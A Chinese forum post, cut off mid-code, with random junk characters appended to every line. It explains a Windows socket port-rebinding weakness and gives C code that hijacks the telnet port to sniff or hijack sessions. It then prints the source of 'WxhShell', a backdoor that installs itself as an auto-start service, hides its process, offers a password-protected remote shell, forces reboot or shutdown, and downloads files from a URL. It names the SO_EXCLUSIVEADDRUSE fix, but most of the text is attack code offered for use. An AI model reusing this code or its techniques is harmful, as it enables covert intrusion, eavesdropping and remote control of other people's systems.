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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  {0} Q5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /5 R?(-  
lJ4&kF=t  
  saddr.sin_family = AF_INET; E K^["_*A  
4d @ (>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Si[xyG6=  
sC RmLUD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nTXM/  
[/eRc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zJtB?<  
[YQ` `  
  这意味着什么?意味着可以进行如下的攻击: CEb al\R  
O(44Dy@2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *}NJ  
0VlB7oF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Eh?,-!SUQn  
0%hOB :  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z^vcODeC$  
]bb`6 \h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -D30(g{O  
3%SwCYd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hj-#pL-t  
7<3eB)S  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6`hHx=L  
 Wfyap)y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 roG f &  
ob;$yn7ZO1  
  #include Sg}]5Mn`  
  #include qHQ#^jH  
  #include =WP`i29j9}  
  #include    VWR6/,N^_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zkRL'-  
  int main() J$Nc9 ?|ZZ  
  { Qk.:b  
  WORD wVersionRequested; vT>ki0P_;  
  DWORD ret; ^qlfdf  
  WSADATA wsaData; [>tyx{T Ye  
  BOOL val; XT 'v7  
  SOCKADDR_IN saddr; B^u qu  
  SOCKADDR_IN scaddr; qdeS*r p\  
  int err; g<r'f"^  
  SOCKET s; DsP FB q  
  SOCKET sc; 2K1odqO#   
  int caddsize; QX j4cg  
  HANDLE mt; /_G^d1T1?L  
  DWORD tid;   zS##YR  
  wVersionRequested = MAKEWORD( 2, 2 ); ?YO$NYwE  
  err = WSAStartup( wVersionRequested, &wsaData ); s&7,gWy}BE  
  if ( err != 0 ) { J3B]JttU  
  printf("error!WSAStartup failed!\n"); z rV  
  return -1; aZMMcd   
  } Gf{FFIe(  
  saddr.sin_family = AF_INET; ^"!j m  
   H/Fq'FsQB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g :me:M  
-gpF%g`H  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }.UE<>OX  
  saddr.sin_port = htons(23); &_EjP hZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) okO^ /"  
  { do:3aP'S,  
  printf("error!socket failed!\n"); /J"U`/ {4  
  return -1; 7EKQE>xj  
  } 7]~65@%R-&  
  val = TRUE; q{W@J0U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V@xlm h,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?4U|6|1  
  { -nQ:RHnd  
  printf("error!setsockopt failed!\n");  OBY  
  return -1; l 6;}nG  
  } ;@$B{/Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; il \q{Y o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rN'')n/F  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x*A_1_A  
vElVw. P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2<*DL 6  
  { S 'jH  
  ret=GetLastError(); J0e~s  
  printf("error!bind failed!\n"); 75t\= 6#  
  return -1; fJ3*'(  
  } d5zF9;[  
  listen(s,2); z@nJ-*'U8  
  while(1) L+}q !'8S  
  { k:Iz>3O3]  
  caddsize = sizeof(scaddr); n_Ht{2I  
  //接受连接请求 r?s,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I$o^F/RH  
  if(sc!=INVALID_SOCKET) Xi]WDH \  
  { :RsO $@0G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ic}M)S FD;  
  if(mt==NULL) \(PC#H%  
  { K +oFu%  
  printf("Thread Creat Failed!\n"); S aCa  
  break; qYHAXc}$  
  } Y~qv 0O6K  
  } edh?I1/  
  CloseHandle(mt); v(v Lk\K7  
  } }*{@-v|_R  
  closesocket(s); *^XfEO  
  WSACleanup(); %rpJZ t  
  return 0; D@V1}/$UoN  
  }   }E5oa\ 1u  
  DWORD WINAPI ClientThread(LPVOID lpParam) E\V-< ]o  
  { Y"G U"n~  
  SOCKET ss = (SOCKET)lpParam; h 7feZ_  
  SOCKET sc; 7q&//*%yF  
  unsigned char buf[4096]; =)Cqjp  
  SOCKADDR_IN saddr; /P~@__XN  
  long num; h&3*O[`  
  DWORD val; c?qg i"kS  
  DWORD ret; r7z8ICX'q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i<N[sO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +~O 0e-d  
  saddr.sin_family = AF_INET; r)P^CZm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }QszOi\fV1  
  saddr.sin_port = htons(23); PiD%PBmUl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~429sT(   
  { W+[XNIg5   
  printf("error!socket failed!\n"); ;2||g8'  
  return -1; WPBn?vb0<  
  } j rX .e  
  val = 100; Vy;f4;I{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j';V(ZY&BB  
  { OI3UC=G  
  ret = GetLastError(); d\Xi1&&  
  return -1; 9$&+0  
  } xjHOrr OQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *B 7+rd  
  { T:ye2yg  
  ret = GetLastError(); <eU28M?\  
  return -1; wYtL1D(  
  } o8+ZgXct  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ITj0u&H:  
  { zGrUl|j  
  printf("error!socket connect failed!\n"); R u^v!l`!7  
  closesocket(sc); | ,bCYK  
  closesocket(ss); 8*rd`k1 |g  
  return -1; #%CbZw@hJ9  
  } 2|vArRKt  
  while(1) wB6 ILTu1  
  { UGuEZ-r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?CB*MWjd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i>!7/o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i6R2R8  
  num = recv(ss,buf,4096,0); Ha l,%W~e  
  if(num>0) Sa!r ,l  
  send(sc,buf,num,0); ZMmaM "9  
  else if(num==0) 82% ~WQnS  
  break; # Ny  
  num = recv(sc,buf,4096,0); z;:c_y!f  
  if(num>0) 6X(Yv2X&4%  
  send(ss,buf,num,0); ZhqrN]x  
  else if(num==0) %{\|/#>:  
  break; c"OBm#  
  } =[8EQdR  
  closesocket(ss); ?Xm!;sS0  
  closesocket(sc); JzD Mx?  
  return 0 ; v.,|#}0 o  
  } S pxkB!  
Ov1$7 r@  
D>9~JHB  
========================================================== ^R* _Q,o#  
a.+2h%b  
下边附上一个代码,,WXhSHELL Xz)UH<  
@xKLRw  
========================================================== >r%L=22+  
;K<e]RI;?  
#include "stdafx.h" E~?0Yrm F  
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#include <stdio.h> ,L#Qy>MOb  
#include <string.h> _EeH  
#include <windows.h> M<Mr L[*j  
#include <winsock2.h> ]H8CVue  
#include <winsvc.h> 2XhtK  
#include <urlmon.h> SH>L3@Za  
7%?2>t3~  
#pragma comment (lib, "Ws2_32.lib") D Q7+  
#pragma comment (lib, "urlmon.lib") V4cCu~(3;~  
;V(- ;O  
#define MAX_USER   100 // 最大客户端连接数 X|+o4R?  
#define BUF_SOCK   200 // sock buffer bJc<FL<E  
#define KEY_BUFF   255 // 输入 buffer 6^U8Utx  
.`Ey'T_  
#define REBOOT     0   // 重启 pG?AwB~@n  
#define SHUTDOWN   1   // 关机 6<sd6SM  
n_;qB7,,  
#define DEF_PORT   5000 // 监听端口 y,{=*2Yt  
R<$_ <z  
#define REG_LEN     16   // 注册表键长度 4;anoqiG\  
#define SVC_LEN     80   // NT服务名长度 E (DNK  
*Ag</g@ h  
// 从dll定义API C^ngdba\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xWk:7,/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ""cnZZ5)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `"CIy_m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L:$kd `v[  
N@D]Q&;+(T  
// wxhshell配置信息 0zrgK;9  
struct WSCFG { .!uXhF'  
  int ws_port;         // 监听端口 P:GAJ->;]>  
  char ws_passstr[REG_LEN]; // 口令 {"X n`@Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no nulCk33x'=  
  char ws_regname[REG_LEN]; // 注册表键名 "YU<CO;4VV  
  char ws_svcname[REG_LEN]; // 服务名 h LYy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KU,K E tf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H;('h#=cD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P%?|V _m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9Q{-4yF9k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cM&5SyxiuE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4 DhGp  
3m RP.<=  
}; x*}41;j}C  
!cP2,l 'f  
// default Wxhshell configuration >b2j j+8  
struct WSCFG wscfg={DEF_PORT, oNW.-gNT  
    "xuhuanlingzhe", 8 MIn~  
    1, u6hDjN  
    "Wxhshell", L eg)q7n  
    "Wxhshell", HgH\2QL3&  
            "WxhShell Service", W?y7mw_S  
    "Wrsky Windows CmdShell Service", ?:@13wm  
    "Please Input Your Password: ", l&rS\TCkp  
  1, t8vR9]n  
  "http://www.wrsky.com/wxhshell.exe", 5%H(AaG*q  
  "Wxhshell.exe" <(YE_<F*  
    }; m]C|8b7Y  
c6v@6jzx0Y  
// 消息定义模块 m\9R;$ \  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  Y j[M>v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <( "M;C3y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x`7Ch3`4}  
char *msg_ws_ext="\n\rExit."; ;E,^bt<U  
char *msg_ws_end="\n\rQuit."; D4(73  
char *msg_ws_boot="\n\rReboot..."; ujE~#b}X  
char *msg_ws_poff="\n\rShutdown..."; zVtTv-DU  
char *msg_ws_down="\n\rSave to "; *oIIcE4g7  
m(:R(K(je  
char *msg_ws_err="\n\rErr!"; c)N_"#&  
char *msg_ws_ok="\n\rOK!"; i( +Uvtgs  
1I'}Uh*  
char ExeFile[MAX_PATH]; |}e"6e%  
int nUser = 0; i !sVQ(:  
HANDLE handles[MAX_USER]; j|o/>^ 'e  
int OsIsNt; >YXb"g@.  
Y>FLc* h  
SERVICE_STATUS       serviceStatus; (QqeMG,Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k5tyOk  
pX3El$p  
// 函数声明 Z ]ZUK  
int Install(void); qFDy)4H)  
int Uninstall(void); s2QgR37s>  
int DownloadFile(char *sURL, SOCKET wsh); y6sY?uu  
int Boot(int flag); ]v@ng8  
void HideProc(void); Ktzn)7-  
int GetOsVer(void); y|*4XF<b  
int Wxhshell(SOCKET wsl); Bqa_l|  
void TalkWithClient(void *cs); hHcevSr  
int CmdShell(SOCKET sock); <?8cVLW} O  
int StartFromService(void); +JD^5J,-NJ  
int StartWxhshell(LPSTR lpCmdLine); {i3x\|  
6rG7/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wV$V X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X,o ]tgg=  
=8p[ (<F=  
// 数据结构和表定义 1uA-!T*e>  
SERVICE_TABLE_ENTRY DispatchTable[] = HP3%CB  
{ r[kHVT8  
{wscfg.ws_svcname, NTServiceMain}, z=jzr=lP  
{NULL, NULL} 6~s{HI!  
}; l<sWM$ez  
R~TG5^(  
// 自我安装 sZqi)lo-s  
int Install(void) hdM?Uoo(4a  
{ 3+U2oI:I  
  char svExeFile[MAX_PATH]; [ CU8%%7  
  HKEY key; 95D(0qv  
  strcpy(svExeFile,ExeFile); cx)x="c  
.fhfO @  
// 如果是win9x系统,修改注册表设为自启动 \vj xCkg{  
if(!OsIsNt) { &\/}.rF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *;t_V laZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G jrN1+9=  
  RegCloseKey(key); ?PB}2*R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )s 1 Ei9J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :NH '>'  
  RegCloseKey(key); W$" >\A0%  
  return 0; )GC[xo4bg  
    } yaX%<KBa\  
  } .N#grk)C  
} uk.x1*0x  
else { 3URrK[%x`  
.M\0+,%/  
// 如果是NT以上系统,安装为系统服务 DB] ]6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \ $9n `  
if (schSCManager!=0) T5 BoOVgO  
{ o`ODz[04  
  SC_HANDLE schService = CreateService < *{(>  
  ( #xrE^Txh  
  schSCManager, 0L7^Vr)  
  wscfg.ws_svcname, V3\} ]5  
  wscfg.ws_svcdisp, N sSl|m  
  SERVICE_ALL_ACCESS, WOGMt T%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =(5}0}j  
  SERVICE_AUTO_START, |:`gjl_Nf  
  SERVICE_ERROR_NORMAL, LGVGr  
  svExeFile, !r0 z3^*N  
  NULL, pM@0>DVi  
  NULL, |G-o&m"  
  NULL, \V<deMb=  
  NULL, *:,7 A9LY  
  NULL K:sC6|wG  
  ); AyZBH &}RZ  
  if (schService!=0) TqMy">>  
  { >E(IkpZ  
  CloseServiceHandle(schService); F (:] lM|  
  CloseServiceHandle(schSCManager); PR1%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^S`c-N  
  strcat(svExeFile,wscfg.ws_svcname); j2{ '!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W?auY_+P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V0 OT_F  
  RegCloseKey(key); ~ +z'pK~c  
  return 0; +xtR`Y"  
    } C{):jH,Rf  
  } -n$fh::^  
  CloseServiceHandle(schSCManager); >@d=\Kyu  
} $X;fz)u  
} 1Q$Z'E}SK@  
o %tvwv  
return 1; >?A3;O]  
} E>?T<!r~j  
xlaBOKa%  
// 自我卸载 fM)RO7  
int Uninstall(void) Y 1vSwS%{T  
{ mYzq[p_|j  
  HKEY key; cB7=4:U  
v ~%6!Tr  
if(!OsIsNt) { "-TIao#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wBXgzd%L  
  RegDeleteValue(key,wscfg.ws_regname); l4d2 i;4BK  
  RegCloseKey(key); scUWI"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +x0-hRD  
  RegDeleteValue(key,wscfg.ws_regname); hQgi--Msw'  
  RegCloseKey(key); @[S\ FjI  
  return 0; '%R Yo#  
  } Piz/vH6M}  
} rf8`|9h"7  
} HtIM8z#/  
else { s?5(E}  
@hWt.qO3s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sT3O_20{  
if (schSCManager!=0) R28h%KN  
{ ([ xYOxcp5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M(S:&GOU  
  if (schService!=0) =2{^qvP  
  { !T|X/B R  
  if(DeleteService(schService)!=0) { C=AX{sn  
  CloseServiceHandle(schService); l23#"gGb  
  CloseServiceHandle(schSCManager); BaTE59W  
  return 0; /W/ =OPe  
  } c0jC84*v  
  CloseServiceHandle(schService); y:Qo:Z~  
  } a3037~X  
  CloseServiceHandle(schSCManager); bY;ah;<  
} FbHk6(/)  
} xq.,7#3  
_y),C   
return 1; 'zZN]P  
} 6`{Y#2T  
pVP CxP  
// 从指定url下载文件 }0|,*BkI m  
int DownloadFile(char *sURL, SOCKET wsh) Rg,pC.7;  
{ *9((b;Ju  
  HRESULT hr; 6<R!`N 6  
char seps[]= "/"; ~(%nnG6x  
char *token; X) xQKkL0  
char *file; U*=ebZno  
char myURL[MAX_PATH]; X61]N^y  
char myFILE[MAX_PATH]; z'MOuz~Y  
F%t`dz!L  
strcpy(myURL,sURL); f 6Bx>lh  
  token=strtok(myURL,seps); -Yy,L%E]F:  
  while(token!=NULL) Lt.a@\J'_  
  {  =h\,-8  
    file=token; 3Qfj=; 4  
  token=strtok(NULL,seps); {?17Zth  
  } Qq(/TA0$-  
egxh  
GetCurrentDirectory(MAX_PATH,myFILE); A$Mmnu%  
strcat(myFILE, "\\"); I8)x 0)Lx  
strcat(myFILE, file); 3@*J=LGhKc  
  send(wsh,myFILE,strlen(myFILE),0); DDyeN uK  
send(wsh,"...",3,0); m@R!o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n:,At] ky  
  if(hr==S_OK) D|@*HX@_Xp  
return 0; u1xCn\  
else +LCpE$H  
return 1; J1T_wA_  
/\V-1 7-  
} u;GS[E4  
H[UV]qO,  
// 系统电源模块 ;"$Wfy  
int Boot(int flag) UmcPpZ  
{ w xKlBx7  
  HANDLE hToken; Pk!RgoWF  
  TOKEN_PRIVILEGES tkp; $014/IB  
9q5jqFQ  
  if(OsIsNt) { gE]6]L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ov*?[Y7|~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I !=ew |  
    tkp.PrivilegeCount = 1; (pN:ET B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iqm]sC`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :rd{y`59>&  
if(flag==REBOOT) { d(9ZopJrQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3DRJl, v  
  return 0; L& ucTc =  
} .R'<v^H  
else { mQdF+b1o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jD1/`g%  
  return 0; Cp4 U`]  
} ]r|sU.Vl  
  } q{T [|(!  
  else { [qbZp1s|(  
if(flag==REBOOT) { ovm109fTx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z OJ<^t}  
  return 0; >G7dw1;  
} Iv])s  
else { 3L}eF g,d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )E9[=4+*C$  
  return 0; \#Md3!MG  
} .n$c+{  
} NULew]:5  
OlRtVp1  
return 1; j.=&qYc0"  
} t5O '7x  
tVfZ~q J  
// win9x进程隐藏模块 WH|TdU$V  
void HideProc(void) KU$:p^0l;*  
{ 4eVQO%&2  
M%&1j >d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T.bn~Z#f  
  if ( hKernel != NULL ) 2{U5*\FhVX  
  { (\8IgQ{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); To/6=$wto  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5Z;iK(>IX  
    FreeLibrary(hKernel); /{6&99SJcc  
  } mD5Vsy{Pb  
p : {,~ 1  
return; \/XU v(  
} fQm3D%  
)FQxVT,.  
// 获取操作系统版本 M!i["($_  
int GetOsVer(void) ;t~Y>,  
{ d+45Y,|  
  OSVERSIONINFO winfo; %Ev)Hk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hy&WG&qf  
  GetVersionEx(&winfo); KWS\iu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5J-slNNCQ  
  return 1; !w1 acmo<_  
  else xiv8q/  
  return 0; -,186ZVZ  
} P(o GNKAS  
_ <Ip0?N  
// 客户端句柄模块 KzZfpdI92  
int Wxhshell(SOCKET wsl) Z-j?N{3&  
{ B#]:1:Qn  
  SOCKET wsh; 7Y?59 [  
  struct sockaddr_in client; 5X PoQ^  
  DWORD myID; XqLR2 d  
i);BTwW)#]  
  while(nUser<MAX_USER) (I/ZI'Ydy  
{ !_q=r[D\  
  int nSize=sizeof(client); Qo/pz2N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fBb:J+  
  if(wsh==INVALID_SOCKET) return 1; Py`7)S  
I!"/I8Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TH"<6*f2L  
if(handles[nUser]==0) FKtG  
  closesocket(wsh); Alv"D  
else _WGWU7h  
  nUser++; T |&u?  
  } zh{I;~syh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _b`/QSL  
ki'<qa  
  return 0; ! o?E.  
} >guX,hx^  
e6>[ZC  
// 关闭 socket HHerL%/   
void CloseIt(SOCKET wsh) B qo#cnlG  
{ 9!PM1<p  
closesocket(wsh); D;hJK-Y  
nUser--; %(S!/(LWW  
ExitThread(0); dUBf.2 ry  
} Y=i_2R2e2  
J vl-=~  
// 客户端请求句柄 , {}S<^?]  
void TalkWithClient(void *cs) sDvy(5  
{ =Qn8Y`U  
k~2FlRoC^  
  SOCKET wsh=(SOCKET)cs; /uPMzl  
  char pwd[SVC_LEN]; i)/#u+Y1P  
  char cmd[KEY_BUFF]; QO>)ug+  
char chr[1]; u= Ga}  
int i,j; gk}.L E  
g2vt(Gf;  
  while (nUser < MAX_USER) { A9WOu*G1O  
f*EDSJu\  
if(wscfg.ws_passstr) { *c( J4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'X\C/8\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uG/b Cb+V  
  //ZeroMemory(pwd,KEY_BUFF); ?'>[n m  
      i=0; ,D.@6 bJW  
  while(i<SVC_LEN) { { )4@rM  
<899r \  
  // 设置超时 )"Wy/P  
  fd_set FdRead; 6|Crc$4l  
  struct timeval TimeOut; {;38&Izwz  
  FD_ZERO(&FdRead); m:g%5' qDZ  
  FD_SET(wsh,&FdRead); 9?|m ^  
  TimeOut.tv_sec=8; [C3wjYi  
  TimeOut.tv_usec=0; { !t6& A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j[=P3Z0q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r3YfY \  
km}E&ao  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i;J*9B_U  
  pwd=chr[0]; |vj!,b88n#  
  if(chr[0]==0xd || chr[0]==0xa) { i;67< f}-  
  pwd=0; ]2z Gb5s"  
  break; WhL"-f  
  } Egl1$,e  
  i++; ?o(Y\YJf  
    } F'55BY*!  
aV n+@g<.  
  // 如果是非法用户,关闭 socket UQ2;Dg G%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?nozB|*>ut  
} cV* 0+5  
6o GF6C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n(\VP!u5r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ={nuz-3  
-vS7%Fbr  
while(1) { 3UGdXufw  
\'x?VVw  
  ZeroMemory(cmd,KEY_BUFF); i^/D_L.  
3]/Y= A  
      // 自动支持客户端 telnet标准   H.TPKdVX  
  j=0; Q#I?nBin  
  while(j<KEY_BUFF) { QsPL^ Ny  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r)Iq47Uiw  
  cmd[j]=chr[0]; ;Z#DB$o\  
  if(chr[0]==0xa || chr[0]==0xd) { K9UWyM<(2C  
  cmd[j]=0; =A^VzIj(  
  break; b .v^:M  
  } 9Dx9alJR  
  j++; PciiDh~/  
    } d#nKTqSg  
a.g:yWL\  
  // 下载文件 2d-C}&}L\  
  if(strstr(cmd,"http://")) { .Ue1}'v*,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MXuiQ;./  
  if(DownloadFile(cmd,wsh)) .JL?RH2@8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o*|j}hnbv  
  else 3+r8yiY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Waz bT@  
  } TfqQh!Y  
  else { ]+i~Cbj  
6}e"$Ee}9  
    switch(cmd[0]) { R>. %0%iq  
  i9k/X&V  
  // 帮助 HWT^u$a"  
  case '?': { tsu Mt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @I|gA  
    break; WT>2eMK[  
  } B@2VI 1%  
  // 安装 :*/`"M)'  
  case 'i': { 4>W ov  
    if(Install()) .`K<Iug1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "i;c)ZP  
    else ];1Mg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (-U6woB6o  
    break; $,~D-~-  
    } &udlt//^%  
  // 卸载 [q{[Avqf  
  case 'r': { wR=WS',  
    if(Uninstall()) ("B[P/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5L4{8X0X8  
    else ? @Y'_f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -r5JP[0kP  
    break; XNJPf) T  
    } 8vLaSZ="[  
  // 显示 wxhshell 所在路径 e1 j3X\ \  
  case 'p': { i7/I8y  
    char svExeFile[MAX_PATH]; Y[ciT)  
    strcpy(svExeFile,"\n\r"); $Dm2>:Dmt  
      strcat(svExeFile,ExeFile); JXIxk"m  
        send(wsh,svExeFile,strlen(svExeFile),0); Ej]:j8^W  
    break;  bK|I  
    } a X:,1^  
  // 重启 - DE?L,9X9  
  case 'b': { hScC< =W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^*_|26  
    if(Boot(REBOOT)) xHi.N*~D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }\/ 3B_X6N  
    else { YuKg|<WO  
    closesocket(wsh); O#B2XoZa+  
    ExitThread(0); MtKM#@  
    } KkD&|&!Q7u  
    break; 9a3mN(<  
    } Y>To k|PV  
  // 关机 < r7s,][&  
  case 'd': { Rr6}$]1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xdkC>o4>  
